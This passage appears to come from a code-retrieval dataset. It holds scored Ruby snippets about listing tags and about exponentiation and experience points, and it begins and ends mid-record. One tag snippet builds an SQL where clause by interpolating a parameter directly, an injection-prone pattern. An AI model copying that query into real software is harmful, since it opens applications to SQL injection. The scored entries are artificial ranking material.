stored tags, that aren't committed/versioned\n begin\n # get the local file, stored in .hg/\n data = @hg_opener.read(\"localtags\")\n # Read the tags as local, because they are not versioned\n read_tags(data.split_newlines, \"local_tags\", \"local\", global_tags, tag_types)\n rescue Errno::ENOENT\n # do nothing. most people don't have this file.\n end\n # Save our tags for use later. Use ivars.\n @tags_cache, @tags_type_cache = {}, {}\n \n # Go through the global tags to store them in the cache\n global_tags.each do |k, nh|\n # update the cache\n @tags_cache[k] = nh.first unless nh.first == NULL_ID\n @tags_type_cache[k] = tag_types[k]\n end\n \n # tip = special tag\n @tags_cache[\"tip\"] = self.changelog.tip\n \n # return our tags\n @tags_cache\n end", "title": "" }, { "docid": "3aa5c6b75b18ad2e2d59ecd723ee255f", "score": "0.5356046", "text": "def all_tags context = :tags\n ActsAsTaggableOn::Tagging.where(context: context).select(:tag_id).distinct.includes(:tag).map(&:tag)\n end", "title": "" }, { "docid": "a0335e00542e0b3228e5bfd6310b37d0", "score": "0.53556824", "text": "def tags(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Tags\", params: params)\n end", "title": "" }, { "docid": "6897dcc64753ec3f70502bb7c4bf30cd", "score": "0.53170496", "text": "def tags\n @tags ||= tags_from_collection.merge(tags_from_item).values.select(&:release)\n end", "title": "" }, { "docid": "e722001ed4a8f270f8dfd90c31f7d62c", "score": "0.5314373", "text": "def booking_image_tags_get(opts = {})\n data, _status_code, _headers = booking_image_tags_get_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "923e80bddbc5cb60fbfb6add98ab7c46", "score": "0.53048295", "text": "def get_tags_for_context(context)\n ActsAsTaggableOn::Tag.includes(:taggings)\n .where(\"taggings.context = '#{context}'\")\n .select(\"DISTINCT tags.*\")\n .map(&:name)\n end", "title": "" }, { "docid": "8be16099dda89d46ed70d1ae1758827b", "score": "0.5302839", "text": "def getTags()\n dataHash = @item_json['data']\n tagSet = Set.new\n\n dataHash.each do |itemId, item|\n item['tags'].each do |tag|\n tagSet.add(tag)\n end\n end\n\n return tagSet.to_a\n end", "title": "" }, { "docid": "815f94290a16078014f8eb5cf905fbde", "score": "0.52956367", "text": "def tags(options={})\n self.class.parse_tags(request(singular(user_id) + \"/tags\", options))\n end", "title": "" }, { "docid": "56163d23bc897cc748b09c7a13ef9671", "score": "0.5285474", "text": "def tags\n self.lib.tags.map { |r| tag(r) }\n end", "title": "" }, { "docid": "ae805bd1cc3c87d446a4b5a2076136f3", "score": "0.52643406", "text": "def tags\n return @tags ||= begin\n @site.tags.keys.map do |tag|\n TagDrop.new({\n :site => @site, :tag => tag\n })\n end\n end\n end", "title": "" }, { "docid": "935136d8c6742e3fa0519995da1f1722", "score": "0.5262334", "text": "def tags\n attributes.fetch(:tags)\n end", "title": "" }, { "docid": "935136d8c6742e3fa0519995da1f1722", "score": "0.5262334", "text": "def tags\n attributes.fetch(:tags)\n end", "title": "" }, { "docid": "43dd22fcde67fb67bd03a12e5b2d7732", "score": "0.5251934", "text": "def tags\n @fields.tag_list\n end", "title": "" }, { "docid": "3df0c88e84e249d84e361dde44947371", "score": "0.52339226", "text": "def tags\n @group.tags\n end", "title": "" }, { "docid": "469d047bf81bbcf7a170b4e12557d0b8", "score": "0.5218622", "text": "def tags_with_user_ids\n _tags.collect{|t| [t.id, t.user_id] }\n end", "title": "" }, { "docid": "35657ff65abacb91653a30c23a885ac3", "score": "0.52182186", "text": "def tag_names\n self.entity_tags.map(&:tag).map(&:name)\n end", "title": "" }, { "docid": "f15b208e4b370b4ae2f194b50e0510f6", "score": "0.521186", "text": "def tags(id)\n wf_event_id?(id)\n api.get([id, 'tag'].uri_concat)\n end", "title": "" }, { "docid": "88ec3707e901982df3c561d9b660da15", "score": "0.52070713", "text": "def get_tags(payment_id, opts = {})\n data, _status_code, _headers = get_tags_with_http_info(payment_id, opts)\n return data\n end", "title": "" }, { "docid": "14af7cea5532682cf53c5a7e34326c9e", "score": "0.5206468", "text": "def get_tags() tag_ids.inject([]) { |l, tag_id| l << get_tag_from_id(tag_id) } end", "title": "" }, { "docid": "8ce0d87478797776632652c1a7d4dd6e", "score": "0.51999927", "text": "def tags\n\t\t@tags = @identities = Identity.sorted_alphabetic.decorate\n\tend", "title": "" }, { "docid": "a45b84a04a54548a9e46605ee1c35dfa", "score": "0.51998466", "text": "def tags\n _get(\"/query/image/tags\") { |json| json }\n end", "title": "" }, { "docid": "36add17b4e0cb4b2b68f7af75dc798dc", "score": "0.51961356", "text": "def get_tags\n\t\t\ttaglist = read_command_output( 'hg', 'tags' )\n\t\t\treturn taglist.split( /\\n/ ).collect {|tag| tag[/^\\S+/] }\n\t\tend", "title": "" }, { "docid": "eb06876ba7c7338619a6e0437316d433", "score": "0.5185032", "text": "def all_tags(source=nil)\n @tag_svc.get_all(source)\n end", "title": "" }, { "docid": "f0a6ac4b76cf1ef9d5ac292b3af931dd", "score": "0.517442", "text": "def tags\n Tags.new(self)\n end", "title": "" }, { "docid": "160d3d3222c5f79148a9fa979e5ec56f", "score": "0.5174283", "text": "def pulled_tags\n @list.pullin ? @list.taggings.where(user_id: @list.owner_id).includes(:tag).map(&:tag) : []\n end", "title": "" }, { "docid": "0b48b2ec2662f153eab034434de6c556", "score": "0.51710075", "text": "def tags\n\t\tt = read_attribute(:tags)\n\t\tt.nil? ? \"\" : t.join(', ')\n\tend", "title": "" }, { "docid": "e4c39c37e358710bd8e0c7e091aa141b", "score": "0.51696974", "text": "def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end", "title": "" }, { "docid": "86e1f1792e60c9c2aa550399b916a2ad", "score": "0.5168217", "text": "def tags\n @attributes.select { |k, _| tag_names.include?(k.to_s) }\n end", "title": "" }, { "docid": "49a91d1e8b99dffc8efa3823480b48c8", "score": "0.51664907", "text": "def tags\n\t\t@tags = @activities = Activity.all.decorate\n\tend", "title": "" }, { "docid": "7046feef1e8ca8e81864513effcb8697", "score": "0.51631725", "text": "def tags\n @tags ||= []\n end", "title": "" }, { "docid": "dee20348445f2a4f0fb7027843067712", "score": "0.5150169", "text": "def skill_tags\n return @skill_tags\n end", "title": "" }, { "docid": "c5dfefab36c00aff31b3cb90670ede19", "score": "0.5147822", "text": "def tags\n tags = nil\n\n # Jekyll v3 has it in data, while v2 have it at the root\n if @file.data.key?('tags')\n tags = @file.data['tags']\n elsif @file.respond_to? :tags\n tags = @file.tags\n end\n\n return tags if tags.nil?\n\n # Anyway, we force cast it to string as some plugins will extend the tags to\n # full featured objects\n tags.map(&:to_s)\n end", "title": "" }, { "docid": "aa3d548412adf7bf3fcbc8f3380eba15", "score": "0.5141963", "text": "def tagged\n taggings.collect(&:taggable)\n end", "title": "" }, { "docid": "fac01d225ecbe617df93ccc68e237a2b", "score": "0.51374835", "text": "def tags\n return head :unauthorized unless current_user\n @tags = current_user.owned_tags.where(\"name like ?\", \"%#{params[:tag]}%\").\n page(params[:page]).per(20)\n if @tags.empty?\n @tags = [current_user.owned_tags.new(name: I18n.t('record.tag_list.no_tags'))]\n end\n respond_with(@tags)\n end", "title": "" }, { "docid": "862d4b79d8425a8eb857fdcbbb9a7aed", "score": "0.51345253", "text": "def get_all_tags()\n tag_hashes = USER_TAGS.order(:tag_name).all\n\n tags = []\n tag_hashes.each do |tag|\n tags.push(UserTag.new(tag))\n end\n\n return tags\n end", "title": "" }, { "docid": "660ecbb46172bdfe4e0e716d2c5fb5cb", "score": "0.51334983", "text": "def get_tags()\n db = connect_to_database()\n return db.execute(\"SELECT * FROM tags\")\n end", "title": "" }, { "docid": "f4d1b3703f3f8d5e307164655103dbac", "score": "0.5131316", "text": "def tags\n @stack.tags\n end", "title": "" }, { "docid": "16b6786633f204619f6f26daa6a9c2ae", "score": "0.5128173", "text": "def tags\n Tags.new(@tags)\n end", "title": "" }, { "docid": "daf3abdeea297f209a1bfae37d19d472", "score": "0.51208836", "text": "def tags\n article_tags = data.tags || data.tag\n \n if article_tags.is_a? String\n article_tags.split(',').map(&:strip)\n else\n Array(article_tags).map(&:to_s)\n end \n end", "title": "" }, { "docid": "66bbe0bdad41789fba0019c3133bf9f8", "score": "0.5117903", "text": "def get_tags(tenant_id, entity_type_id,entity_id)\n return @instance.get_tags(tenant_id, entity_type_id,entity_id)\n end", "title": "" }, { "docid": "188dd6c68f499c2b569bba42b82b2628", "score": "0.510492", "text": "def load_invitations\n @invitations ||= begin\n ids = resend_invitation_params\n ids ||= current_course.invitations.unconfirmed.select(:id)\n if ids.blank?\n []\n else\n current_course.invitations.unconfirmed.where('course_user_invitations.id IN (?)', ids)\n end\n end\n end", "title": "" }, { "docid": "188dd6c68f499c2b569bba42b82b2628", "score": "0.510492", "text": "def load_invitations\n @invitations ||= begin\n ids = resend_invitation_params\n ids ||= current_course.invitations.unconfirmed.select(:id)\n if ids.blank?\n []\n else\n current_course.invitations.unconfirmed.where('course_user_invitations.id IN (?)', ids)\n end\n end\n end", "title": "" }, { "docid": "21b419e2059a7e58013f148ba1dc3ef6", "score": "0.51021606", "text": "def tags\n @tags ||= Fotolia::Tags.new(self)\n end", "title": "" }, { "docid": "403e5962443096ac21bee45ba47d2845", "score": "0.5091917", "text": "def tags\n @sg.tags\n end", "title": "" }, { "docid": "403e5962443096ac21bee45ba47d2845", "score": "0.5091917", "text": "def tags\n @sg.tags\n end", "title": "" }, { "docid": "374b13fede59a4ee733736be601b4749", "score": "0.5091261", "text": "def activities\n self.tags.collect { |tag| tag.activities }.flatten\n end", "title": "" }, { "docid": "91be5267070627b863004cedef7f6d2c", "score": "0.50880706", "text": "def list(user_id)\n @_client.get(\"/users/#{user_id}/tags\")\n end", "title": "" }, { "docid": "28dcf67fabe5b4761e6db77a01f84c77", "score": "0.5083536", "text": "def tag_names\n self.tags.map(&:name).join(\", \")\n end", "title": "" }, { "docid": "01efaa25fdb6a27bdf28ec6d99983b47", "score": "0.5081775", "text": "def tags\n entries = Entry.all\n # Create a list of all the tags, as a String\n tags_list = String.new\n entries.each do |entry|\n tags_list << entry.tags + \" \"\n end\n # Convert the String to a global array, removing the duplicate elements\n $tags_array = tags_list.split.uniq\n end", "title": "" }, { "docid": "b06517dcbb2a0bcc5dff5d1b80f2fe3e", "score": "0.5079087", "text": "def tags() ; info[:tags] ; end", "title": "" }, { "docid": "b06517dcbb2a0bcc5dff5d1b80f2fe3e", "score": "0.5079087", "text": "def tags() ; info[:tags] ; end", "title": "" }, { "docid": "8c9aef1a4847c434b6f90763ea450118", "score": "0.50716877", "text": "def tags\n @vpc.tags\n end", "title": "" }, { "docid": "8fc0c9a14a051d10a201dbdcb4b84b3c", "score": "0.5064103", "text": "def tags_from_params\n search_filter_params[:tagged_with].to_s.split(\",\")\n end", "title": "" } ]
dcbed8395a7771ece166b269caba65a1
Returns the value of +exp+.
[ { "docid": "7a690fc3b980fe2fb08e76c5c03a6664", "score": "0.0", "text": "def process_lit(exp)\n exp[1]\n end", "title": "" } ]
[ { "docid": "6a627f027ed514a942ff258906612ca3", "score": "0.77125907", "text": "def exp\n only_numerics(clone: false).recode(&:exp)\n end", "title": "" }, { "docid": "b1766967579bc426c507fa8e646cba01", "score": "0.73865914", "text": "def exp(base, exp)\n return 1 if exp == 0\n base * base**(exp - 1)\nend", "title": "" }, { "docid": "abe2f38b764c8a3558522eac18864899", "score": "0.72898144", "text": "def pi_exp exp\n 3.1416 ** exp\nend", "title": "" }, { "docid": "456d912dffb4fddd865a8266524fa10c", "score": "0.72680044", "text": "def exp(arg)\n Func.new(:exp, arg)\n end", "title": "" }, { "docid": "7a31450f12167011fdaff2855d681280", "score": "0.71334535", "text": "def exp(base,power)\n return 1 if power == 0\n base * exp(base,power-1)\nend", "title": "" }, { "docid": "4936a17f51a1d56bfdda7c459b823287", "score": "0.7115184", "text": "def get_exp(item)\n return BASE_EXP * item.synthesis_level / synthesis_level\n end", "title": "" }, { "docid": "3870fa14680c4feffe99fb69efb40afb", "score": "0.7104007", "text": "def exp(base,pow)\n\nend", "title": "" }, { "docid": "2a705abf8bdf749a9c6e7af133ce8dca", "score": "0.70740885", "text": "def exp(base, power)\n return 0 if base == 0\n\n return 1 if (power == 0)\n\n base * exp(base, power - 1)\nend", "title": "" }, { "docid": "f016742cf84c558d727d2902e457196e", "score": "0.70534176", "text": "def exp(base, power)\n return 1 if power == 0\n return base if power == 1\n return base if base == 1\n base * exp(base, power - 1)\nend", "title": "" }, { "docid": "1899d794e015a5d3dedffc9de27c0fea", "score": "0.7029416", "text": "def exp_1(num, exp)\n return 1 if exp == 0\n\n return num * exp_1(num, exp - 1)\nend", "title": "" }, { "docid": "a09fff4bc87dc3c16435c6d96a32f24d", "score": "0.7029226", "text": "def rand_exp(rate = 1.0)\n -Math::log(rand)/rate\n end", "title": "" }, { "docid": "f409096989adae3eead8da9dd30dce17", "score": "0.6995609", "text": "def exp(number,power)\n return 1 if power == 0\n number * exp(number,power-1)\nend", "title": "" }, { "docid": "f9a078970d61639120f0ea36475d25c4", "score": "0.6935996", "text": "def exp(base, power)\n return 1 if power == 0\n return base if power == 1\n return base if base == 1\n prev = exp(base, power - 1)\n base * prev\nend", "title": "" }, { "docid": "3f4b11b54ce62591f6a70cf7ee1774f3", "score": "0.6919184", "text": "def exp_1(base, exp)\n return 1 if exp == 0\n base * exp_1(base, exp - 1)\nend", "title": "" }, { "docid": "b277991ee1de0d0041df41d5e9fe8831", "score": "0.6891537", "text": "def exp_1(num, power)\n return 1 if power == 0\n num * exp(num, power - 1)\nend", "title": "" }, { "docid": "99c8d85cce8ed36c11d2b59a288b032d", "score": "0.6872405", "text": "def exp(base, exponent)\nexponent == 0 ? 1 : base * exp(base, exponent - 1)\nend", "title": "" }, { "docid": "75aea239de48ed7acf28e45ac6cb8cd8", "score": "0.68261683", "text": "def exp (base, power)\n return 1 if power == 0\n return base if power == 1\n if power % 2 == 1\n base * ( exp( base, (power - 1) / 2) ** 2)\n else\n exp(base, power / 2) ** 2\n end\nend", "title": "" }, { "docid": "b4d1f7774a6ecf0e28984f958f2ba085", "score": "0.6806792", "text": "def to_s\n \"exp(#{@x})\"\n end", "title": "" }, { "docid": "38e96c6a9d3c9a0cd1b39db9193b6f54", "score": "0.6792343", "text": "def rand_exp rate\n -Math::log(rand)/rate\n end", "title": "" }, { "docid": "7660d749c64782f9b0779bee853f7799", "score": "0.67638767", "text": "def exp(base, exp)\r\n\r\n return 1 if exp == 0\r\n return base if exp == 1\r\n\r\n if (exp.even?)\r\n temp = exp(base, exp/2)\r\n temp * temp\r\n else\r\n temp = exp(base, (exp - 1)/2)\r\n base * temp * temp\r\n end\r\n\r\nend", "title": "" }, { "docid": "7cf4457b9093a27462ea5383bda3c7e3", "score": "0.67513955", "text": "def exp_1(base, power)\n return 1 if power == 0 \n base * exp_1(base, power - 1)\nend", "title": "" }, { "docid": "235212f66f13479c07edf9b5c57c0028", "score": "0.6747711", "text": "def exp(base,pow)\n return 1 if pow == 0\n result = num * exp(num, pow - 1)\nend", "title": "" }, { "docid": "c6b61936d6eff514d53f37a2375ea38e", "score": "0.67409", "text": "def mod_exp(p0, p1) end", "title": "" }, { "docid": "89f92a16e2e524d4389b3d517772e6f5", "score": "0.6727179", "text": "def exp_1(base, power)\n return 1 if power == 0\n return base if power == 1\n base * exp_1(base, power-1)\nend", "title": "" }, { "docid": "0a9816e40c4a6dc4bed16711ded450b1", "score": "0.6723687", "text": "def exp1(b,power)\r\n return 1 if power==0\r\n\r\n b*exp1(b,power-1)\r\nend", "title": "" }, { "docid": "2e9f5011e89ebe76410586e49e49c7b7", "score": "0.67210656", "text": "def now_exp\n return (@exp - @exp_list[@level])\n end", "title": "" }, { "docid": "2e9f5011e89ebe76410586e49e49c7b7", "score": "0.67210656", "text": "def now_exp\n return (@exp - @exp_list[@level])\n end", "title": "" }, { "docid": "0509cbee24b72993efdbcd326fbfa98a", "score": "0.67111105", "text": "def exp(base, exp)\n result = nil\n negativeExponent = false\n counter = 0\n # Make sure base is numeric, exponent is integer\n if ((base.is_a? Numeric) && (exp.is_a? Integer))\n negativeExponent = (exp < 0)\n counter = exp.abs\n # Make an array of copies of the base value\n factors = Array.new(counter, base)\n # And multiply them together\n result = product(factors)\n # If the exponent was negative, take the inverse of the product\n if (negativeExponent)\n result = 1.0 / result\n end\n end\n result\n end", "title": "" }, { "docid": "be26c41ac30b6c6f66e2f06b112a736c", "score": "0.67111045", "text": "def exp1(base,power)\n return 1 if power == 0\n base * exp1(base,power-1)\nend", "title": "" }, { "docid": "fb21994eb9ae5d65e4a531eba287c004", "score": "0.6699608", "text": "def now_exp\r\n return @exp - @exp_list[@level]\r\n end", "title": "" }, { "docid": "885f24be6614d478bb370bd499470e1d", "score": "0.6698038", "text": "def exp_1(base, power)\n return 1 if power == 0\n base * exp_1(base, power - 1)\nend", "title": "" }, { "docid": "8ed30558c95361442a8ebc493139216d", "score": "0.6693019", "text": "def to_code\n \"Math::exp(#{@x.to_code})\"\n end", "title": "" }, { "docid": "897d50df6f3f39eb1b0f2745dc0a0203", "score": "0.66832656", "text": "def exp_first(value, power)\n power == 0 ? 1 : (value * exp_first(value, power - 1))\nend", "title": "" }, { "docid": "98feb376087f5e42035c0e34a893aa00", "score": "0.66745263", "text": "def exp(base, power_n)\n return 1 if power_n == 0 \n\n return base * exp(base, power_n-1)\nend", "title": "" }, { "docid": "52a1314b94abe3df7b4f56e8aca8a4fb", "score": "0.6647831", "text": "def exp1(base, power)\n return 1 if power == 0\n base * exp1(base, power - 1)\nend", "title": "" }, { "docid": "4969bc98e478b7d92a205880f2c13926", "score": "0.66458106", "text": "def now_exp\n return @exp - @exp_list[@level]\n end", "title": "" }, { "docid": "4969bc98e478b7d92a205880f2c13926", "score": "0.66458106", "text": "def now_exp\n return @exp - @exp_list[@level]\n end", "title": "" }, { "docid": "91bfbaccd6045b70410812002439b12a", "score": "0.6642309", "text": "def sech(x)\n return 2.0/(Math.exp(x) + Math.exp(-x))\n end", "title": "" }, { "docid": "91bfbaccd6045b70410812002439b12a", "score": "0.6642309", "text": "def sech(x)\n return 2.0/(Math.exp(x) + Math.exp(-x))\n end", "title": "" }, { "docid": "91bfbaccd6045b70410812002439b12a", "score": "0.6642309", "text": "def sech(x)\n return 2.0/(Math.exp(x) + Math.exp(-x))\n end", "title": "" }, { "docid": "042ee6bbe4c516660bdfc8515df37d78", "score": "0.6616236", "text": "def exp1(base, power)\n power == 0 ? 1 : base * exp1(base, power -1)\nend", "title": "" }, { "docid": "9aef51c06a54ac2605a3d09864466690", "score": "0.6608287", "text": "def exp(base, pow)\n return 1 if bow == 0\n\n base * exp(base, pow - 1)\nend", "title": "" }, { "docid": "d117b03c1da85351ae7a1b40936f6eb2", "score": "0.6589614", "text": "def exp_1(base, exponent)\n return 1 if exponent == 0 \n base * exp_1(base, exponent-1)\nend", "title": "" }, { "docid": "3c471b6b93ab12a9542ef978805fe1a1", "score": "0.65705067", "text": "def process_exponent(exp)\n process(exp[1]) ** process(exp[2])\n end", "title": "" }, { "docid": "16e6bc5b153ec414696bf21f898bd819", "score": "0.656217", "text": "def exp(b, p)\n return nil if b.zero? && p.zero?\n return 1 if p.zero?\n b * exp(b, p - 1)\nend", "title": "" }, { "docid": "0d307c6bf74aef5c59d639ff581605cc", "score": "0.65549004", "text": "def parse_exp()\n # puts \"parsing expression\"\n exp = parse_term\n if @tokens.first.kind == Token::PLUS\n # Case: Exp is exp + term\n # Return: Evaluated exp + term\n @tokens.shift\n return exp + parse_exp\n elsif @tokens.first.kind == Token::SBTR\n # Case: Exp is exp - term\n # Return: Evaluated exp + term\n @tokens.shift\n return exp - parse_exp\n else\n # Case: Exp is term\n # Return: Evaluated expression\n return exp\n end\n end", "title": "" }, { "docid": "3aa1c635128016f50595e69d7079dedd", "score": "0.6532017", "text": "def exp_rec(base, power)\n\nend", "title": "" }, { "docid": "68f294ac74e3bb954adff2f37e4b7920", "score": "0.6519477", "text": "def exp(base, power)\n return 1 if power == 0\n return base if power == 1\n\n if power.even?\n exp(base, power/2) * exp(base, power/2)\n else\n base * exp(base, (power - 1)/2) * exp(base, (power - 1)/2)\n end\nend", "title": "" }, { "docid": "b37e27db7b646bd494110defe9f5e9cb", "score": "0.64990574", "text": "def exp(i); alt(nil, i, :fun, :num); end", "title": "" }, { "docid": "fa783f43d4c41926cb48f3516292f2ec", "score": "0.6498764", "text": "def exp(base, power)\n # return 1 if power == 0\n # base * exp(base, power - 1)\n\n return 1 if power == 0\n half = exp(base, power / 2)\n if power.even?\n half * half\n else\n base * half * half\n end\nend", "title": "" }, { "docid": "1d73d2e38175e42cbeb21e98f947f78c", "score": "0.6471075", "text": "def exp_1(num, pow) # b * exp(b, n - 1)\r\n return 1 if pow == 0\r\n return num if pow == 1\r\n num * exp_1(num, pow - 1)\r\nend", "title": "" }, { "docid": "3a1905dcab8c1fbed03d3d1a71d67a31", "score": "0.64511126", "text": "def rand2exp ex\n\t\tmask = 1 << (ex + 1)\n\t\tr = 1 + @randgen.rand(mask - 1)\n\t\tmask >>= 1\n\t\ti = 0\n\t\twhile r & mask == 0 do\n\t\t\tmask >>= 1\n\t\t\ti += 1\n\t\tend\n\t\ti\n\tend", "title": "" }, { "docid": "8c39afb0cd643e603c2d2ae7d660c089", "score": "0.64288205", "text": "def exp_constant(b,e)\n Math.exp(Math.log(b) * e).ceil\nend", "title": "" }, { "docid": "925142a7e90086e2bff00ad412a12f35", "score": "0.64164215", "text": "def getValue(exp)\n\t\t# byebug\n\t\tif exp =~ /(\\+|-)/\n\t\t\texp = exp.split(/(\\+|-)/)\n\t\telse\n\t\t\texp = [exp]\n\t\tend\n\t\tif exp[0] == \"\"\n\t\t\texp.delete_at(0)\n\t\tend\n\t\ti=0\n\t\t# 始め | 数 | 演算子 | 変数\n\t\t# start | value | opr | var\n\t\ttype=\"start\"\n\t\tacc=0\n\t\t# byebug\n\t\twhile i != exp.size\n\t\t\tif exp[i] == \"+\" && type != \"opr\"\n\t\t\t\ttype = \"opr\"\n\t\t\telsif exp[i] == \"-\" && type != \"opr\"\n\t\t\t\ttype = \"opr\"\n\t\t\telsif exp[i] =~ /\\d+/ && type != \"value\" && type != \"var\"\n\t\t\t\ttype = \"value\"\n\t\t\telsif exp[i] =~ /\\w+/ && type != \"var\" && type != \"value\"\n\t\t\t\ttype = \"var\"\n\t\t\t\texp[i] = getVar(exp[i])\n\t\t\telse\n\t\t\tend\n\t\t\ti+=1\n\t\tend\n\n\t\t#byebug\n\t\tif exp[0] != \"+\" && exp[0] != \"-\"\n\t\t\texp.unshift(\"+\")\n\t\tend\n\t\ti=0\n\t\twhile i != exp.size\n\t\t\tif exp[i] == \"+\"\n\t\t\t\ti+=1\n\t\t\t\tacc += exp[i].to_i\n\t\t\telsif exp[i] == \"-\"\n\t\t\t\ti+=1\n\t\t\t\tacc -= exp[i].to_i\n\t\t\tend\n\t\t\ti+=1\n\t\tend\n\t\treturn acc\n\tend", "title": "" }, { "docid": "925142a7e90086e2bff00ad412a12f35", "score": "0.64164215", "text": "def getValue(exp)\n\t\t# byebug\n\t\tif exp =~ /(\\+|-)/\n\t\t\texp = exp.split(/(\\+|-)/)\n\t\telse\n\t\t\texp = [exp]\n\t\tend\n\t\tif exp[0] == \"\"\n\t\t\texp.delete_at(0)\n\t\tend\n\t\ti=0\n\t\t# 始め | 数 | 演算子 | 変数\n\t\t# start | value | opr | var\n\t\ttype=\"start\"\n\t\tacc=0\n\t\t# byebug\n\t\twhile i != exp.size\n\t\t\tif exp[i] == \"+\" && type != \"opr\"\n\t\t\t\ttype = \"opr\"\n\t\t\telsif exp[i] == \"-\" && type != \"opr\"\n\t\t\t\ttype = \"opr\"\n\t\t\telsif exp[i] =~ /\\d+/ && type != \"value\" && type != \"var\"\n\t\t\t\ttype = \"value\"\n\t\t\telsif exp[i] =~ /\\w+/ && type != \"var\" && type != \"value\"\n\t\t\t\ttype = \"var\"\n\t\t\t\texp[i] = getVar(exp[i])\n\t\t\telse\n\t\t\tend\n\t\t\ti+=1\n\t\tend\n\n\t\t#byebug\n\t\tif exp[0] != \"+\" && exp[0] != \"-\"\n\t\t\texp.unshift(\"+\")\n\t\tend\n\t\ti=0\n\t\twhile i != exp.size\n\t\t\tif exp[i] == \"+\"\n\t\t\t\ti+=1\n\t\t\t\tacc += exp[i].to_i\n\t\t\telsif exp[i] == \"-\"\n\t\t\t\ti+=1\n\t\t\t\tacc -= exp[i].to_i\n\t\t\tend\n\t\t\ti+=1\n\t\tend\n\t\treturn acc\n\tend", "title": "" }, { "docid": "838d2385f151928e121e33f71c6df101", "score": "0.6409396", "text": "def next_exp\r\n exp = @exp_list[@level+1] > 0 ? @exp_list[@level+1] - @exp_list[@level] : 0\r\n return exp\r\n end", "title": "" }, { "docid": "c45ba0bddde6bb279e11cb3896729a19", "score": "0.6388626", "text": "def exp(z)\n begin\n if z.real?\n\texp!(z)\n else\n\tere = exp!(z.real)\n\tComplex(ere * cos!(z.imag),\n\t\tere * sin!(z.imag))\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end", "title": "" }, { "docid": "b724473454a9401cfd55cee931f2f344", "score": "0.6384426", "text": "def exponential(base, exp)\n result = 1\n\n while exp > 0\n if exp.even?\n base *= base\n exp /= 2\n else\n result *= base\n exp -= 1\n end\n end\n\n return result\nend", "title": "" }, { "docid": "fb12e15d88ed0e74e141c639f86f18b5", "score": "0.63648874", "text": "def test_Math_ClassMethods_exp\n\t\tassert_equal(7.38905609893065, Math.exp(2))\n\t\tassert_equal(20.085536923187668, Math.exp(3))\n\tend", "title": "" }, { "docid": "d371553317ec13891ac3dbde19053a9e", "score": "0.63622093", "text": "def exp_1(b,n)\n return 1 if n == 0\n b * exp(b, n - 1)\nend", "title": "" }, { "docid": "e51eae78031ea6d7e13b70a278eb4694", "score": "0.6358889", "text": "def power(base,exp)\n return base ** exp \nend", "title": "" }, { "docid": "613a25cd985c1817cbf322cda3d09faf", "score": "0.63565755", "text": "def now_exp\n @exp - @exp_list[@level];\n end", "title": "" }, { "docid": "1f1c40ea444c0021ca5aa4d6d907940d", "score": "0.6346139", "text": "def exp(base, exponent)\n return 1 if exponent == 0 \n\n half = exp(base, exponent / 2)\n\n if exponent.even?\n half * half\n else\n base * half * half \n end\n \nend", "title": "" }, { "docid": "61553d38368db9b7c8f77107efd4394b", "score": "0.63366425", "text": "def power(base, exp)\n if exp == 0\n 1\n else\n base * power(base, exp-1)\n end\nend", "title": "" }, { "docid": "2e13277b03269162a0ae78fa9c13c59d", "score": "0.6313009", "text": "def exp1(base, num)\n return 1 if num == 0\n\n base * exp1(base, num - 1)\nend", "title": "" }, { "docid": "6d7c56413510939018eac0e44adb111b", "score": "0.6307842", "text": "def exp(b, p)\n return 1 if p == 0\n return b if p == 1\n\n\n exp(b, p-1) * b\nend", "title": "" }, { "docid": "0bd84de6e9d9534c6aab112e739984d5", "score": "0.6294832", "text": "def exp(b, n)\n return b if n <= 1\n b * exp(b, n-1)\nend", "title": "" }, { "docid": "83d886aefb47c10ab659e3cd1251c4c9", "score": "0.62747025", "text": "def exp_linear(b,e)\n e == 0 ? 1 : b * exp_linear(b,e-1)\nend", "title": "" }, { "docid": "2f69b32185326c2c6a488289c5f07a1f", "score": "0.6232102", "text": "def exp(b, n) # => b ** n\n return 1 if n <= 0\n b * exp(b, n - 1)\nend", "title": "" }, { "docid": "628135b93a1c120d466d276bc4cd5a87", "score": "0.62320894", "text": "def simple_expo(base, exp)\n return 1 if exp == 0\n base*simple_expo(base, exp-1)\nend", "title": "" }, { "docid": "e8f1bfc8a23ad36a6b8005a632738cd2", "score": "0.6223435", "text": "def expm1(arg)\n Func.new(:expm1, arg)\n end", "title": "" }, { "docid": "d144c669aa35d4a46c562031c2a4d85b", "score": "0.62183565", "text": "def expForLevel(level)\n return (((level - 1)**3) * expModForLevel(level) * 1000).to_i\nend", "title": "" }, { "docid": "cc49d20a367c2bf801565b5b75c0726e", "score": "0.62140477", "text": "def calc(input)\n mod_exp(input, @e, @n)\n end", "title": "" }, { "docid": "e07af0425c2d6acc028d9d47f11c8663", "score": "0.6210575", "text": "def exp_for_level(level)\n return (DND::EXP_FOR_LEVEL[level] * 1000).to_i\n end", "title": "" }, { "docid": "e07af0425c2d6acc028d9d47f11c8663", "score": "0.6210575", "text": "def exp_for_level(level)\n return (DND::EXP_FOR_LEVEL[level] * 1000).to_i\n end", "title": "" }, { "docid": "e07af0425c2d6acc028d9d47f11c8663", "score": "0.6210575", "text": "def exp_for_level(level)\n return (DND::EXP_FOR_LEVEL[level] * 1000).to_i\n end", "title": "" }, { "docid": "f77e6ac82bcfdd2e8c9765674b4f554f", "score": "0.620915", "text": "def exp(base, exponente)\n resultado = 1\n exponente.times do |index|\n resultado = resultado * base\n end\n\n puts resultado\nend", "title": "" }, { "docid": "ab82d6c13f4ea79f4f185d035ff3ce3a", "score": "0.62091434", "text": "def exp_total\n [h87_d_exp_total + @extra_exp, 0].max\n end", "title": "" }, { "docid": "036eb7b25350702e8798b0958cf4df0e", "score": "0.6207454", "text": "def exp()\n nums = num_input()\n nums[2] = nums[0] ** nums[1] \n nums[3] = \"^\"\n return nums.collect{|e|e.to_s}\nend", "title": "" }, { "docid": "4aadf538a97b8a0aee2ac59accf9bbcc", "score": "0.62034404", "text": "def exp_1(base, n)\n return base if n == 1\n base * exp_1(base, n -1)\nend", "title": "" }, { "docid": "cb4533db16448f5da3f6ffdacca3edda", "score": "0.6195425", "text": "def exponential(mean, generator)\n -mean * Math.log(generator.rand) if mean > 0\n end", "title": "" }, { "docid": "3a06019eebdeb551bb696b4cd6b3625c", "score": "0.61918086", "text": "def power(base,exp)\n\tresult = 1 \n\ti = 1\n\twhile i <= exp\n\t\tresult = result * 